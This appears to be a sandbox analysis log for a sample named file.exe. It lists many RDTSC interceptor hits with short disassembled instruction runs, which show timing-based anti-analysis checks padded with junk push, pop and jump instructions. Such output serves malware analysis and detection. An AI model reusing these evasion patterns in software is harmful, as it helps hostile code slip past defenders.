Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD5DA2 second address: DD5DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD5EF3 second address: DD5EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD5EF7 second address: DD5F01 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9C2CD78D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD5F01 second address: DD5F11 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9C2CC4BDF2h 0x00000008 jns 00007F9C2CC4BDE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD61DA second address: DD61DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD61DE second address: DD6200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9C2CC4BDF8h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6200 second address: DD6204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6204 second address: DD6208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6208 second address: DD620E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD620E second address: DD621F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F9C2CC4BDECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD621F second address: DD6223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD64DF second address: DD64E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD64E3 second address: DD64EC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD64EC second address: DD64F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD67FB second address: DD6812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D6Bh 0x00000009 jo 00007F9C2CD78D66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6812 second address: DD681B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD681B second address: DD681F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6AA7 second address: DD6AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD59A1 second address: DD59A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDEA77 second address: DDEA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF48B second address: DEF496 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF496 second address: DEF49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF49D second address: DEF4B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF4B3 second address: DEF4C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF4C4 second address: DEF4D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9C2CD78D66h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1C9A second address: DF1CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9C2CC4BDE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1CA6 second address: DF1CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1CAB second address: DF1CB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1CB0 second address: DF1CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D76h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e jnp 00007F9C2CD78D66h 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1CD9 second address: DF1CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1CE1 second address: DF1CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF672F second address: DF673B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9C2CC4BDE6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF673B second address: DF673F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFED97 second address: DFEDED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9C2CC4BDE6h 0x0000000a jmp 00007F9C2CC4BDF8h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F9C2CC4BDF6h 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007F9C2CC4BDF9h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04D02 second address: E04D1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D77h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04D1D second address: E04D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F9C2CC4BDF5h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 js 00007F9C2CC4BDE6h 0x00000019 pop edi 0x0000001a jl 00007F9C2CC4BDECh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04D4F second address: E04D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05070 second address: E0509E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F9C2CC4BDEEh 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9C2CC4BDF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0509E second address: E050A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9C2CD78D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E052E0 second address: E052E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E052E6 second address: E052EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E052EF second address: E05302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0542E second address: E05434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05434 second address: E0543E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9C2CC4BDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0543E second address: E05442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05442 second address: E0544C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0544C second address: E05450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05450 second address: E0545A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9C2CC4BDE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0545A second address: E0546D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b js 00007F9C2CD78D66h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0546D second address: E05476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05476 second address: E05482 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F9C2CD78D66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E060CF second address: E060FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C2CC4BDF5h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F9C2CC4BDEEh 0x0000000f popad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E060FD second address: E06103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06103 second address: E06109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09FB7 second address: E09FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E15C2A second address: E15C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17E1D second address: E17E22 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17E22 second address: E17E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jnp 00007F9C2CC4BDE6h 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 je 00007F9C2CC4BDE8h 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17E3F second address: E17E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9C2CD78D66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A759 second address: E1A77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007F9C2CC4BDE6h 0x0000000c jmp 00007F9C2CC4BDF9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A77E second address: E1A7D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D77h 0x00000007 jmp 00007F9C2CD78D79h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F9C2CD78D6Ch 0x00000017 jnl 00007F9C2CD78D72h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1DDD9 second address: E1DDDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1DDDF second address: E1DDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1479B second address: E147C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F9C2CC4BDE6h 0x00000010 jmp 00007F9C2CC4BDF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E411D2 second address: E411F5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9C2CD78D66h 0x00000008 jns 00007F9C2CD78D66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnc 00007F9C2CD78D66h 0x00000017 jmp 00007F9C2CD78D6Bh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E411F5 second address: E411FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E411FA second address: E4122E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D74h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9C2CD78D6Dh 0x00000015 jp 00007F9C2CD78D68h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41381 second address: E413A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9C2CC4BDECh 0x0000000b jmp 00007F9C2CC4BDECh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41F52 second address: E41F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F9C2CD78D71h 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41F6A second address: E41F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F9C2CC4BDE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E43988 second address: E439A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F9C2CD78D78h 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E439A7 second address: E439C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F9C2CC4BDE6h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9C2CC4BDF4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E439C7 second address: E439CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47AEF second address: E47AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47AF5 second address: E47AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47BB6 second address: E47BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47E2F second address: E47E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F9C2CD78D6Ch 0x0000000e jl 00007F9C2CD78D66h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47E43 second address: E47E70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jnp 00007F9C2CC4BDECh 0x00000011 add edx, dword ptr [ebp+122D3185h] 0x00000017 push dword ptr [ebp+122D1956h] 0x0000001d mov dx, ax 0x00000020 call 00007F9C2CC4BDE9h 0x00000025 push ebx 0x00000026 push edi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4981A second address: E49820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49820 second address: E49826 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49826 second address: E4982F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E492A4 second address: E492AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E492AD second address: E492C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D75h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E492C8 second address: E492D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E492D1 second address: E492E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D6Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E492E2 second address: E492FC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C2CC4BDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F9C2CC4BDEAh 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E492FC second address: E49301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B2A8 second address: E4B2B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F9C2CC4BDE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B2B8 second address: E4B2D2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C2CD78D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push edx 0x0000000c jg 00007F9C2CD78D72h 0x00000012 je 00007F9C2CD78D66h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C034C second address: 54C0352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0352 second address: 54C0356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E062F second address: 54E063E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E063E second address: 54E0644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0644 second address: 54E0648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0648 second address: 54E064C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E064C second address: 54E066A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9C2CC4BDF3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E066A second address: 54E0670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0670 second address: 54E0674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0674 second address: 54E06B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F9C2CD78D76h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F9C2CD78D77h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06B9 second address: 54E06D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06D1 second address: 54E06D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
